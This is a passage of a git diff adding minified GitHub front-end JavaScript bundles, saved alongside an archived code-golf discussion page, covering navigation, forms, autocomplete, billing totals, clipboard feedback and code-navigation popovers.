b,M;for(;(b=i[o-1])&&(M=(0,c._C)(b,u))&&M.top>=0;)o--;if(b){if(_(b,t))return;K(u,b)}}n(G,"pageUp");function N(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o+1])&&(M=(0,c._C)(b,u))&&M.bottom>=0;)o++;if(b){if(_(b,t))return;K(u,b)}}n(N,"pageDown");function R(e,t=!1){(0,p.f)(e,"navigation:keyopen",{modifierKey:t})}n(R,"keyOpen");function _(e,t){return(0,p.f)(e,"navigation:focus")?(V(t),e.classList.add("navigation-focus"),!1):!0}n(_,"focusItem");function I(){return document.querySelector(".js-active-navigation-container")}n(I,"getActiveContainer");function D(e){const t=[];for(const i of e.querySelectorAll(".js-navigation-item"))i instanceof HTMLElement&&(0,a.Z)(i)&&t.push(i);return t}n(D,"getItems");function Z(e){return e.getAttribute("data-navigation-scroll")||"item"}n(Z,"getScrollStyle");function K(e,t,i="smooth"){const o=(0,c._C)(t,e);!o||(o.bottom<=0?t.scrollIntoView({behavior:i,block:"start"}):o.top<=0&&t.scrollIntoView({behavior:i,block:"end"}))}n(K,"scrollPageTo");function W(e,t){const i=(0,c.oE)(t,e),o=(0,c._C)(t,e);if(!(i==null||o==null))if(o.bottom<=0&&document.body){const b=(e.offsetParent!=null?e.scrollHeight:document.body.scrollHeight)-(i.bottom+o.height);m(e,{top:b})}else o.top<=0&&m(e,{top:i.top})}n(W,"scrollItemTo")},2061:(j,y,h)=>{h.d(y,{j:()=>E,u:()=>p});function E(c){const s=c.closest("form");if(!(s instanceof HTMLFormElement))return;let f=p(s);if(c.name){const L=c.matches("input[type=submit]")?"Submit":"",m=c.value||L;f||(f=document.createElement("input"),f.type="hidden",f.classList.add("is-submit-button-value"),s.prepend(f)),f.name=c.name,f.value=m}else f&&f.remove()}n(E,"persistSubmitButtonValue");function p(c){const s=c.querySelector("input.is-submit-button-value");return s instanceof HTMLInputElement?s:null}n(p,"findPersistedSubmitButtonValue")},6741:(j,y,h)=>{h.d(y,{RB:()=>p,qC:()=>c,w0:()=>E});class E{constructor(f){this.closed=!1,this.unsubscribe=()=>{f(),this.closed=!0}}}n(E,"Subscription");function p(s,f,L,m={capture:!1}){return s.addEventListener(f,L,m),new E(()=>{s.removeEventListener(f,L,m)})}n(p,"fromEvent");function c(...s){return new E(()=>{for(const f of s)f.unsubscribe()})}n(c,"compose")},5878:(j,y,h)=>{h.d(y,{Z:()=>p});function E(c){return c.offsetWidth<=0&&c.offsetHeight<=0}n(E,"hidden");function p(c){return!E(c)}n(p,"visible")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts-e498b20a5640.js.map \ No newline at end of file diff --git a/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js new file mode 100644 index 0000000..eecbc9b --- /dev/null +++ b/archive/Problem 5 Mocking Spongebob · Discussion #6 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js @@ -0,0 +1,101 @@ +(()=>{var Jl=Object.defineProperty;var s=($,D)=>Jl($,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["behaviors"],{56851:($,D,f)=>{"use strict";var T=f(7679),c=f(59753);(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){e.currentTarget===e.target&&(e.defaultPrevented||e.currentTarget.classList.add("loading"))}),(0,c.on)("deprecatedAjaxComplete","[data-remote]",function(e){e.currentTarget===e.target&&e.currentTarget.classList.remove("loading")});var C=f(65935);(0,C.AC)("form.js-ajax-pagination, .js-ajax-pagination form",async function(e,t){const n=e.closest(".js-ajax-pagination");let o;try{o=await t.html()}catch(r){if(r.response&&r.response.status===404){n.remove();return}else throw r}n.replaceWith(o.html),(0,c.f)(e,"page:loaded")});var _=f(30481);const x="analytics.click";(0,c.on)("click","[data-analytics-event]",e=>{const n=e.currentTarget.getAttribute("data-analytics-event");if(!n)return;const o=JSON.parse(n);(0,_.q)(x,o)});var u=f(64463);const g=["system","disabled"].map(e=>`html[data-a11y-animated-images="${e}"] img[data-animated-image]`).join(", ");(0,u.N7)(g,e=>{if(!(e instanceof HTMLImageElement)||e.closest("a")&&!(e.parentElement instanceof HTMLAnchorElement))return;let t=e.parentElement,n=null;if(t instanceof HTMLAnchorElement){if(t.childElementCount>1)return;n=t,n.setAttribute("data-target","animated-image.originalLink"),t=n.parentElement}e.removeAttribute("data-animated-image"),e.setAttribute("data-target","animated-image.originalImage");const o=n?n.cloneNode(!0):e.cloneNode(!0),r=document.createElement("animated-image");r.appendChild(o),t==null||t.replaceChild(r,n||e)});var h=f(22485);document.addEventListener("pjax:start",function(){(0,h.x)("Loading page")}),document.addEventListener("pjax:error",function(){(0,h.x)("Loading failed")}),document.addEventListener("pjax:end",function(){(0,h.x)("Loading complete")});var d=f(52641);const m=new WeakMap;(0,u.N7)("auto-check",function(e){if(e.classList.contains("js-prevent-default-behavior"))return;const t=e.querySelector("input");if(!t)return;const n=t.closest(".form-group")||e,o=t.form;let r;function i(){return r||(r=`input-check-${(Math.random()*1e4).toFixed(0)}`),r}s(i,"generateId");const a=t.getAttribute("aria-describedby");t.addEventListener("focusout:delay",()=>{t.setAttribute("aria-describedby",[r,a].join(" "))});const l=n.querySelector("p.note");l&&(l.id||(l.id=i()),m.set(l,l.innerHTML)),e.addEventListener("loadstart",()=>{p(t,n),n.classList.add("is-loading"),t.classList.add("is-autocheck-loading"),(0,d.G)(o)}),e.addEventListener("loadend",()=>{n.classList.remove("is-loading"),t.classList.remove("is-autocheck-loading")}),t.addEventListener("auto-check-success",async y=>{t.classList.add("is-autocheck-successful"),n.classList.add("successed"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(!!S){if(l instanceof HTMLElement)l.innerHTML=S,(0,h.N)(l);else{const R=w.status===200,I=n.tagName==="DL"?"dd":"div",F=document.createElement(I);F.id=i(),F.classList.add(R?"success":"warning"),F.innerHTML=S,n.append(F),n.classList.add(R?"successed":"warn"),(0,h.N)(F),R&&(F.hidden=document.activeElement!==t)}(0,c.f)(t,"auto-check-message-updated")}}),t.addEventListener("auto-check-error",async y=>{t.classList.add("is-autocheck-errored"),n.classList.add("errored"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(l instanceof HTMLElement)l.innerHTML=S||"Something went wrong",(0,h.N)(l);else{const R=n.tagName==="DL"?"dd":"div",I=document.createElement(R);I.id=i(),I.classList.add("error"),I.innerHTML=S||"Something went wrong",n.append(I),(0,h.N)(I)}}),t.addEventListener("input",()=>{t.removeAttribute("aria-describedby"),t.value||p(t,n)}),t.addEventListener("blur",()=>{const y=n.querySelector(".success");y&&(y.hidden=!0)}),t.addEventListener("focus",()=>{const y=n.querySelector(".success");y&&(y.hidden=!1)}),o.addEventListener("reset",()=>{p(t,n)})});function p(e,t){var n,o,r,i,a,l;t.classList.remove("is-loading","successed","errored","warn"),e.classList.remove("is-autocheck-loading","is-autocheck-successful","is-autocheck-errored");const y=t.querySelector("p.note");if(y){const w=m.get(y);w&&(y.innerHTML=w)}t.tagName==="DL"?((n=t.querySelector("dd.error"))==null||n.remove(),(o=t.querySelector("dd.warning"))==null||o.remove(),(r=t.querySelector("dd.success"))==null||r.remove()):((i=t.querySelector("div.error"))==null||i.remove(),(a=t.querySelector("div.warning"))==null||a.remove(),(l=t.querySelector("div.success"))==null||l.remove())}s(p,"autocheck_reset");var b=f(46481);(0,u.N7)("auto-complete",function(e){e.addEventListener("loadstart",()=>e.classList.add("is-auto-complete-loading")),e.addEventListener("loadend",()=>e.classList.remove("is-auto-complete-loading"))}),(0,u.N7)("auto-complete",{constructor:b.Z,initialize:v}),(0,c.on)("auto-complete-change","auto-complete",function(e){v(e.currentTarget)});function v(e){const t=e.closest("form");if(!t)return;const n=t.querySelector(".js-auto-complete-button");n instanceof HTMLButtonElement&&(n.disabled=!e.value)}s(v,"toggleSubmitButton");var L=f(56238),q=f(12981),E=f(6170);let A=null;(0,c.on)("submit","[data-autosearch-results-container]",async function(e){const t=e.currentTarget;if(!(t instanceof HTMLFormElement))return;e.preventDefault(),A==null||A.abort(),t.classList.add("is-sending");const n=new URL(t.action,window.location.origin),o=t.method,r=new FormData(t),i=(0,L.KL)(n,r);let a=null;o==="get"?n.search=i:a=r;const{signal:l}=A=new AbortController,y=new Request(n.toString(),{method:o,body:a,signal:l,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});let w;try{w=await fetch(y)}catch{}if(t.classList.remove("is-sending"),!w||!w.ok||l.aborted)return;const S=t.getAttribute("data-autosearch-results-container"),R=S?document.getElementById(S):null;R&&(R.innerHTML="",R.appendChild((0,q.r)(document,await w.text()))),(0,E.lO)(null,"",`?${i}`)});var k=f(73185),j=f(45075);(0,j.ZG)("input[data-autoselect], textarea[data-autoselect]",async function(e){await(0,k.gJ)(),e.select()});var P=f(46263),M=f(6741);(0,c.on)("change","form[data-autosubmit]",function(e){const t=e.currentTarget;(0,L.Bt)(t)}),(0,c.on)("change","input[data-autosubmit], select[data-autosubmit]",O);function O(e){const t=e.target;if(!(t instanceof HTMLInputElement)&&!(t instanceof HTMLSelectElement))return;const n=t.form;(0,L.Bt)(n)}s(O,"autosubmit_submit");const V=(0,P.D)(O,300);(0,u.N7)("input[data-throttled-autosubmit]",{subscribe:e=>(0,M.RB)(e,"input",V)});async function H(e){const t=e.getAttribute("data-url")||"";if(await N(t)){const o=e.getAttribute("data-gravatar-text");o!=null&&(e.textContent=o)}}s(H,"detectGravatar"),(0,u.N7)(".js-detect-gravatar",function(e){H(e)});async function N(e){const t=e;if(!t)return!1;try{const n=await fetch(t,{headers:{Accept:"application/json"}});return n.ok?(await n.json()).has_gravatar:!1}catch{return!1}}s(N,"fetchGravatarInfo");var K=f(51989),W=f(41307),U=f(49815),te=f(66899),le=f(5878);const ae=[".unstyled-additional-seats-price-obj",".unstyled-base-price-obj",".unstyled-final-price-obj"];function we(e){return typeof e=="string"||typeof e=="number"?!1:"default_currency"in e&&"local_currency"in e}s(we,"isAPriceStruct");let ue=null;(0,c.on)("click",".js-org-signup-duration-change",e=>{e.preventDefault();const n=e.currentTarget.getAttribute("data-plan-duration");Yr(n),ts(n);for(const o of document.querySelectorAll(".js-seat-field"))Be(o);Qr()}),(0,c.on)("change",".js-org-signup-duration-toggle",async function({currentTarget:e}){const t=new URL(e.getAttribute("data-url"),window.location.origin);if((0,U.c)("TURBO")){const{visit:n}=await f.e("vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js").then(f.bind(f,74395));n(t)}else{const n=document.getElementById("js-pjax-container");(0,W.ZP)({url:t.toString(),container:n})}});async function Be(e){const t=e.getAttribute("data-item-name")||"items",n=e.value,o=new URL(e.getAttribute("data-url"),window.location.origin),r=new URLSearchParams(o.search.slice(1)),i=parseInt(e.getAttribute("data-item-minimum"))||0,a=parseInt(e.getAttribute("data-item-maximum"))||300,l=parseInt(e.getAttribute("data-item-count"))||0,y=Math.max(i,parseInt(n)||0),w=y>a,S=document.querySelector(".js-downgrade-button"),R=document.getElementById("downgrade-disabled-message");S instanceof HTMLButtonElement&&(S.disabled=y===l),R instanceof HTMLElement&&S instanceof HTMLButtonElement&&(R.hidden=!S.disabled),r.append(t,y.toString()),document.querySelector(".js-transform-user")&&r.append("transform_user","1"),o.search=r.toString(),ue==null||ue.abort();const{signal:F}=ue=new AbortController;let X=null;try{const Z=await fetch(o.toString(),{signal:F,headers:{Accept:"application/json"}});if(!Z.ok)return;X=await Z.json()}catch{}if(F.aborted||!X)return;const oe=document.querySelector(".js-contact-us");oe&&oe.classList.toggle("d-none",!w);const Q=document.querySelector(".js-cost-info");Q&&(Q.hidden=w);const se=document.querySelector(".js-payment-summary");se&&se.classList.toggle("d-none",w);const ce=document.querySelector(".js-submit-billing");ce instanceof HTMLElement&&(ce.hidden=w);const de=document.querySelector(".js-billing-section");de&&de.classList.toggle("has-removed-contents",X.free||X.is_enterprise_cloud_trial);const Y=document.querySelector(".js-upgrade-info");Y&&Y.classList.toggle("d-none",y<=0);const He=document.querySelector(".js-downgrade-info");He&&He.classList.toggle("d-none",y>=0);const B=document.querySelector(".js-extra-seats-line-item");B&&B.classList.toggle("d-none",X.no_additional_seats),document.querySelector(".js-seat-field")&&es(n);const z=document.querySelector(".js-minimum-seats-disclaimer");z&&(z.classList.toggle("tooltipped",X.seats===5),z.classList.toggle("tooltipped-nw",X.seats===5));const ee=X.selectors;for(const Z in ee)for(const ie of document.querySelectorAll(Z))Jr(Z)&&we(ee[Z])?(ie.textContent="",ie.appendChild(On("default-currency",ee[Z].default_currency)),ie.appendChild(On("local-currency",ee[Z].local_currency))):ie.textContent=ee[Z];(0,E.lO)((0,W.y0)(),"",X.url)}s(Be,"updateTotals");function Jr(e){return ae.includes(e)}s(Jr,"isPriceSelector");function On(e,t){const n=document.createElement("span");return n.classList.add(e),n.textContent=t,n}s(On,"priceCurrencyTag");function Qr(){for(const e of document.querySelectorAll(".js-unit-price"))e.hidden=!e.hidden}s(Qr,"toggleDurationUnitPrices");function Yr(e){const t=e==="year"?"month":"year";for(const o of document.querySelectorAll(".js-plan-duration-text"))o.textContent=e;for(const o of document.querySelectorAll(".unstyled-available-plan-duration-adjective"))o.textContent=`${e}ly`;for(const o of document.querySelectorAll(".js-org-signup-duration-change"))o.setAttribute("data-plan-duration",t);const n=document.getElementById("signup-plan-duration");n&&(n.value=e)}s(Yr,"updateDurationFields");function es(e){var t;for(const n of document.querySelectorAll(".js-seat-field")){const o=n.getAttribute("data-item-max-seats"),r=(t=n==null?void 0:n.parentNode)==null?void 0:t.querySelector(".Popover");o&&o.length&&(parseInt(e,10)>parseInt(o,10)?(n.classList.add("color-border-danger-emphasis"),r==null||r.removeAttribute("hidden")):(n.classList.remove("color-border-danger-emphasis"),r==null||r.setAttribute("hidden","true")))}}s(es,"updateSeatFields");function ts(e){for(const t of document.querySelectorAll(".js-seat-field")){const n=new URL(t.getAttribute("data-url"),window.location.origin),o=new URLSearchParams(n.search.slice(1));o.delete("plan_duration"),o.append("plan_duration",e),n.search=o.toString(),t.setAttribute("data-url",n.toString())}}s(ts,"updateSeatFieldURLs"),(0,u.N7)(".js-addon-purchase-field",{constructor:HTMLInputElement,add(e){(0,le.Z)(e)&&Be(e),(0,te.oq)(e,function(){Be(e)})}}),(0,u.N7)(".js-addon-downgrade-field",{constructor:HTMLSelectElement,add(e){(0,le.Z)(e)&&Be(e),e.addEventListener("change",function(){Be(e)})}});function ns(e){const t=document.querySelector(".js-addon-purchase-field"),n=e.target.querySelector("input:checked");if(t instanceof HTMLInputElement&&n instanceof HTMLInputElement){const o=n.getAttribute("data-upgrade-url");o&&(t.setAttribute("data-url",o),t.value="0",Be(t))}}s(ns,"handleOrgChange"),(0,c.on)("details-menu-selected",".js-organization-container",ns,{capture:!0}),(0,j.q6)(".js-csv-filter-field",function(e){const t=e.target.value.toLowerCase();for(const n of document.querySelectorAll(".js-csv-data tbody tr"))n instanceof HTMLElement&&(!n.textContent||(n.hidden=!!t&&!n.textContent.toLowerCase().includes(t)))}),(0,u.N7)(".js-blob-header.is-stuck",{add(e){Nn(e)},remove(e){Nn(e,!0)}});function Nn(e,t=!1){const n={"tooltipped-nw":"tooltipped-sw","tooltipped-n":"tooltipped-s","tooltipped-ne":"tooltipped-se"};for(const[o,r]of Object.entries(n)){const i=t?r:o,a=t?o:r;for(const l of e.querySelectorAll(`.${i}`))l.classList.replace(i,a)}}s(Nn,"flipTooltip");function os(e){const t=e.target,n=t==null?void 0:t.closest(".js-branch-protection-integration-select"),o=n==null?void 0:n.querySelector(".js-branch-protection-integration-select-current"),r=t==null?void 0:t.closest(".js-branch-protection-integration-select-item"),i=r==null?void 0:r.querySelector(".js-branch-protection-integration-select-label");o&&i&&n&&(o.innerHTML=i.innerHTML,n.open=!1)}s(os,"changeSelection"),(0,c.on)("change",".js-branch-protection-integration-select-input",os);function rs(e){const t=new URL(e.getAttribute("data-bulk-actions-url"),window.location.origin),n=new URLSearchParams(t.search.slice(1)),o=e.getAttribute("data-bulk-actions-parameter"),r=Array.from(e.querySelectorAll(".js-bulk-actions-toggle:checked"));if(o){const i=r.map(a=>a.closest(".js-bulk-actions-item").getAttribute("data-bulk-actions-id")).sort();for(const a of i)n.append(`${o}[]`,a)}else for(const i of r.sort((a,l)=>a.value>l.value?1:-1))n.append(i.name,i.value);return t.search=n.toString(),t.toString()}s(rs,"bulkUrl");let Dt=null;async function ss(e){const t=e.target;if(!(t instanceof HTMLElement))return;const n=t.querySelector(".js-bulk-actions"),o=!!t.querySelector(".js-bulk-actions-toggle:checked");Dt==null||Dt.abort();const{signal:r}=Dt=new AbortController;let i="";try{const a=await fetch(rs(t),{signal:r,headers:{"X-Requested-With":"XMLHttpRequest"}});if(!a.ok)return;i=await a.text()}catch{}r.aborted||!i||(o?(Bn(t),n.innerHTML=i):(n.innerHTML=i,Bn(t)),(0,c.f)(t,"bulk-actions:updated"))}s(ss,"updateBulkActions");function Bn(e){const t=document.querySelector(".js-membership-tabs");if(t){const n=e.querySelectorAll(".js-bulk-actions-toggle:checked");t.classList.toggle("d-none",n.length>0)}}s(Bn,"toggleMembershipTabs"),(0,c.on)("change",".js-bulk-actions-toggle",function(e){const n=e.currentTarget.closest(".js-bulk-actions-container");(0,c.f)(n,"bulk-actions:update")}),(0,c.on)("bulk-actions:update",".js-bulk-actions-container",(0,P.D)(ss,100));var me=f(7739),he=f(45922);function is(e){try{const t=window.localStorage.getItem(e);return{kind:"ok",value:t?JSON.parse(t):null}}catch(t){return{kind:"err",value:t}}}s(is,"getLocalJSON");function $n(e,t){try{return window.localStorage.setItem(e,JSON.stringify(t)),{kind:"ok",value:null}}catch(n){return{kind:"err",value:n}}}s($n,"setLocalJSON");function as(){const e={};for(const t of document.getElementsByTagName("script")){const n=t.src.match(/\/([\w-]+)-[0-9a-f]{8,}\.js$/);n&&(e[`${n[1]}.js`]=t.src)}for(const t of document.getElementsByTagName("link")){const n=t.href.match(/\/([\w-]+)-[0-9a-f]{8,}\.css$/);n&&(e[`${n[1]}.css`]=t.href)}return e}s(as,"gatherBundleURLs");function cs(){const e=as(),t=is("bundle-urls");if(t.kind==="err"){$n("bundle-urls",e);return}const n=t.value||{},o=Object.keys(e).filter(r=>n[r]!==e[r]);o.length&&$n("bundle-urls",{...n,...e}).kind==="ok"&&(0,he.b)({downloadedBundles:o})}s(cs,"report"),(async()=>(await me.C,window.requestIdleCallback(cs)))();var Ql=f(41415);function ls(e){e.preventDefault(),e.stopPropagation()}s(ls,"cancelEvent"),(0,u.N7)("a.btn.disabled",{subscribe:e=>(0,M.RB)(e,"click",ls)});var Ht=f(90458),us=f(58797);(0,u.N7)(".js-check-all-container",{constructor:HTMLElement,subscribe:us.Z});var Ve=f(64926);const Fn="logout-was-successful";function ds(){for(const e of[sessionStorage,localStorage])try{e.clear()}catch{}}s(ds,"clearData");function fs(){(0,Ve.$1)(Fn).length>0&&(ds(),(0,Ve.kT)(Fn))}s(fs,"clearDataIfJustLoggedOut"),fs();const Un=2e3;(0,c.on)("clipboard-copy","[data-copy-feedback]",e=>{const t=e.currentTarget,n=t.getAttribute("data-copy-feedback"),o=t.getAttribute("aria-label"),r=t.getAttribute("data-tooltip-direction")||"s";t.setAttribute("aria-label",n),t.classList.add("tooltipped",`tooltipped-${r}`),t instanceof HTMLElement&&((0,h.N)(t),setTimeout(()=>{o?t.setAttribute("aria-label",o):t.removeAttribute("aria-label"),t.classList.remove("tooltipped",`tooltipped-${r}`)},Un))});function ms(e){Ot.delete(e),Wn(e)}s(ms,"timerCallback");function Wn(e){const t=e.querySelector(".js-clipboard-copy-icon"),n=e.querySelector(".js-clipboard-check-icon");e.classList.toggle("ClipboardButton--success"),t&&t.classList.toggle("d-none"),n&&(n.classList.contains("d-sm-none")?n.classList.toggle("d-sm-none"):n.classList.toggle("d-none"))}s(Wn,"toggleCopyButton");const Ot=new WeakMap;(0,c.on)("clipboard-copy",".js-clipboard-copy:not([data-view-component])",function({currentTarget:e}){if(!(e instanceof HTMLElement))return;const t=Ot.get(e);t?clearTimeout(t):Wn(e),Ot.set(e,window.setTimeout(ms,Un,e))}),(0,c.on)("click",".js-code-nav-retry",async function(e){if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey)return;const t=document.querySelector(".js-tagsearch-popover");if(!t)return;const n=t.querySelector(".js-tagsearch-popover-content");if(!n)return;let o;const r=e.currentTarget;if(r.getAttribute("data-code-nav-kind")==="definitions"?o=t.querySelector(".js-tagsearch-popover-content"):o=t.querySelector(".js-code-nav-references"),!o)return;const a=r.getAttribute("data-code-nav-url");if(!a)return;const l=new URL(a,window.location.origin);try{const y=await fetch(l.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!y.ok)return;const w=await y.text();if(!w)return;o.innerHTML=w}catch{return}n.scrollTop=0}),(0,u.N7)(".js-code-nav-container",{constructor:HTMLElement,subscribe(e){const t=e,n=document.querySelector(".js-tagsearch-popover");if(!(n instanceof HTMLElement))return{unsubscribe(){}};const o=n.querySelector(".js-tagsearch-popover-content"),r=new WeakMap,i=new WeakMap;let a;l();function l(){ce();for(const B of document.getElementsByClassName("pl-token"))B.classList.remove("pl-token","active")}s(l,"initialize");async function y(B){const G=Nt(/\w+[!?]?/g,B.clientX,B.clientY,0);if(!G)return;const z=G.commonAncestorContainer.parentElement;if(!z)return;for(const Zl of z.classList)if(["pl-token","pl-c","pl-s","pl-k"].includes(Zl))return;if(z.closest(".js-skip-tagsearch"))return;const ee=G.toString();if(!ee||ee.match(/\n|\s|[();&.=",]/))return;let Z=i.get(z);if(Z||(Z=new Set,i.set(z,Z)),Z.has(ee))return;Z.add(ee);const ie=z.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"";let Oe=ie.getAttribute("data-tagsearch-lang")||"";if(Oe==="HTML+ERB")if(z.closest(".pl-sre"))Oe="Ruby";else return;if(e.classList.contains("js-code-block-container")&&(Oe=ps(z)||"",!Oe))return;const Hn=Kn(G),Ne=document.createElement("span");Ne.classList.add("pl-token"),Ne.addEventListener("click",S);let It;if(!(0,U.c)("BLACKBIRD_MONOLITH")){if(It=await zn(n,ee,Oe,Hn,Dn),!It)return;R(Ne,It),r.set(Ne,It)}G.surroundContents(Ne)}s(y,"onMouseMove");function w(){o.scrollTop=0}s(w,"resetScrollTop");async function S(B){if(B.altKey||B.ctrlKey||B.metaKey||B.shiftKey)return;const G=B.currentTarget;if(G===a)ce();else if(X(G),(0,U.c)("BLACKBIRD_MONOLITH")){const z=n.querySelector(".js-loading-code-definitions");z&&(o.hidden=!0,z.hidden=!1,Q(G),se()),await F(B),oe(G),z&&!z.hidden&&(z.hidden=!0),o.children.length>0?o.hidden=!1:ce()}else oe(G),se();B.preventDefault()}s(S,"onClick");function R(B,G){const z=document.createElement("span");z.innerHTML=G;const ee=z.firstElementChild;if(!ee)return;const Z=ee.getAttribute("data-hydro-click"),ie=ee.getAttribute("data-hydro-click-hmac");ie&&Z&&(B.setAttribute("data-hydro-click",Z),B.setAttribute("data-hydro-click-hmac",ie))}s(R,"addPopoverElement");async function I(B,G){const z=Nt(/\w+[!?]?/g,B.clientX,B.clientY,2);if(!z)return;const ee=z.commonAncestorContainer.parentElement;if(!ee)return;for(const Ne of ee.classList)if(G.includes(Ne))return;const Z=z.toString(),ie=ee.closest(".js-tagsearch-file");if(!ie)return;const Dn=ie.getAttribute("data-tagsearch-path")||"",Oe=ie.getAttribute("data-tagsearch-lang")||"",Hn=Kn(z);return await zn(n,Z,Oe,Hn,Dn)}s(I,"getPopoverHtml");async function F(B){const G=await I(B,["data-hydro-click"]);if(!G)return;const z=document.getElementsByClassName("active")[0];!z||(R(z,G),r.set(z,G))}s(F,"fetchPopover");function X(B){a&&a.classList.remove("active"),a=B,a.classList.add("active")}s(X,"setActivePopover");function oe(B){o.innerHTML=r.get(B)||"",Q(B)}s(oe,"populatePopover");function Q(B){const G=t.getClientRects()[0],z=B.getClientRects()[0];n.style.position="absolute",n.style.zIndex="2",t.classList.contains("position-relative")?(n.style.top=`${z.bottom-G.top+7}px`,n.style.left=`${z.left-G.left-10}px`):(n.style.top=`${window.scrollY+z.bottom}px`,n.style.left=`${window.scrollX+z.left}px`)}s(Q,"positionPopover");function se(){if(!n.hidden){w();return}n.hidden=!1,w(),document.addEventListener("click",Y),document.addEventListener("keyup",He),window.addEventListener("resize",de)}s(se,"showPopover");function ce(){n.hidden||(n.hidden=!0,a&&a.classList.remove("active"),a=void 0,document.removeEventListener("click",Y),document.removeEventListener("keyup",He),window.removeEventListener("resize",de))}s(ce,"hidePopover");function de(){a instanceof HTMLElement&&Q(a)}s(de,"onResize");function Y(B){const{target:G}=B;G instanceof Node&&!n.contains(G)&&!a.contains(G)&&ce()}s(Y,"onDocumentClick");function He(B){switch(B.key){case"Escape":ce();break}}return s(He,"onKeyup"),e.addEventListener("mousemove",y),{unsubscribe(){e.removeEventListener("mousemove",y)}}}});async function zn(e,t,n,o,r){const i=e.getAttribute("data-tagsearch-url");if(!i)return"";const a=e.getAttribute("data-tagsearch-ref");if(!a)return"";let l=e.getAttribute("data-tagsearch-code-nav-context");l||(l="UNKNOWN_VIEW");const y=new URL(i,window.location.origin),w=new URLSearchParams;w.set("q",t),w.set("blob_path",r),w.set("ref",a),w.set("language",n),w.set("row",o[0].toString()),w.set("col",o[1].toString()),w.set("code_nav_context",l),y.search=w.toString();try{const S=await fetch(y.toString(),{headers:{"X-Requested-With":"XMLHttpRequest"}});if(!S.ok)return"";const R=await S.text();return/js-tagsearch-no-definitions/.test(R)?"":R}catch{return""}}s(zn,"fetchPopoverContents");function Nt(e,t,n,o){let r,i;if(document.caretPositionFromPoint){const S=document.caretPositionFromPoint(t,n);S&&(r=S.offsetNode,i=S.offset)}else if(document.caretRangeFromPoint){const S=document.caretRangeFromPoint(t,n);S&&(r=S.startContainer,i=S.startOffset)}if(!r||typeof i!="number"||!(0,U.c)("BLACKBIRD_MONOLITH")&&r.nodeType!==Node.TEXT_NODE)return;const a=r.textContent,l=(a==null?void 0:a.replaceAll(` +`,"").trim())==="";if(!a||l||r.nodeType!==Node.TEXT_NODE){if(o<=0||!(0,U.c)("BLACKBIRD_MONOLITH"))return null;{const S=r.nodeType!==Node.TEXT_NODE?1:10;return Nt(e,t-S,n-S,o-1)}}const y=hs(a,e,i);if(!y)return null;const w=document.createRange();return w.setStart(r,y[1]),w.setEnd(r,y[2]),w}s(Nt,"matchFromPoint");function hs(e,t,n){let o;for(;o=t.exec(e);){const r=o.index+o[0].length;if(o.index<=n&&n<=r)return[o[0],o.index,r]}return null}s(hs,"findNearestMatch");function ps(e){const t=e.closest(".highlight");if(t)for(const n of t.classList)switch(n){case"highlight-source-go":return"Go";case"highlight-source-js":return"JavaScript";case"highlight-source-python":return"Python";case"highlight-source-ruby":return"Ruby";case"highlight-source-ts":return"TypeScript"}return null}s(ps,"getCodeBlockLanguage");function Kn(e){let t=e.startContainer,n=e.startOffset,o=!1;for(;;){let r=t.previousSibling;for(;!o&&r;)["#comment","BUTTON"].includes(r.nodeName)||(n+=(r.textContent||"").length),r=r.previousSibling;const i=t.parentElement;if(i){if(i.classList.contains("js-code-nav-pass"))o=!0;else if(i.classList.contains("js-file-line")){const a=i.previousElementSibling;if(!a.classList.contains("js-code-nav-line-number"))throw new Error("invariant");return[parseInt(a.getAttribute("data-line-number")||"1",10)-1,n]}t=i}else return[0,0]}}s(Kn,"getRowAndColumn");var Me=f(78965);function gs(e){const t=e.querySelector(".js-comment-form-error");t instanceof HTMLElement&&(t.hidden=!0)}s(gs,"clearFormError"),(0,c.on)("click",".errored.js-remove-error-state-on-click",function({currentTarget:e}){e.classList.remove("errored")}),(0,C.AC)(".js-new-comment-form",async function(e,t){let n;gs(e);try{n=await t.json()}catch(i){bs(e,i)}if(!n)return;e.reset();for(const i of e.querySelectorAll(".js-resettable-field"))(0,L.Se)(i,i.getAttribute("data-reset-value")||"");const o=e.querySelector(".js-write-tab");o instanceof HTMLElement&&o.click();const r=n.json.updateContent;for(const i in r){const a=r[i],l=document.querySelector(i);l instanceof HTMLElement?(0,Me.Of)(l,a):console.warn(`couldn't find ${i} for immediate update`)}(0,c.f)(e,"comment:success")});function bs(e,t){let n="You can't comment at this time";if(t.response&&t.response.status===422){const r=t.response.json;r.errors&&(Array.isArray(r.errors)?n+=` \u2014 your comment ${r.errors.join(", ")}`:n=r.errors)}n+=". ";const o=e.querySelector(".js-comment-form-error");if(o instanceof HTMLElement){o.textContent=n,o.hidden=!1;const r=o.closest("div.form-group.js-remove-error-state-on-click");r&&r.classList.add("errored")}}s(bs,"handleFormError");const ys=s((e,t)=>{const n=e.querySelector(".js-form-action-text"),o=n||e;o.textContent=t?e.getAttribute("data-comment-text"):o.getAttribute("data-default-action-text")},"setButtonText"),vs=s(e=>{let t;return n=>{const r=n.currentTarget.value.trim();r!==t&&(t=r,ys(e,Boolean(r)))}},"createInputHandler");(0,u.N7)(".js-comment-and-button",{constructor:HTMLButtonElement,initialize(e){const t=e.form.querySelector(".js-comment-field"),n=vs(e);return{add(){t.addEventListener("input",n),t.addEventListener("change",n)},remove(){t.removeEventListener("input",n),t.removeEventListener("change",n)}}}});var Yl=f(2641);function Vn(e,t){const n=e.closest(".js-write-bucket");n&&n.classList.toggle("focused",t)}s(Vn,"toggleFocus");function ws(e){const t=e.currentTarget;t instanceof 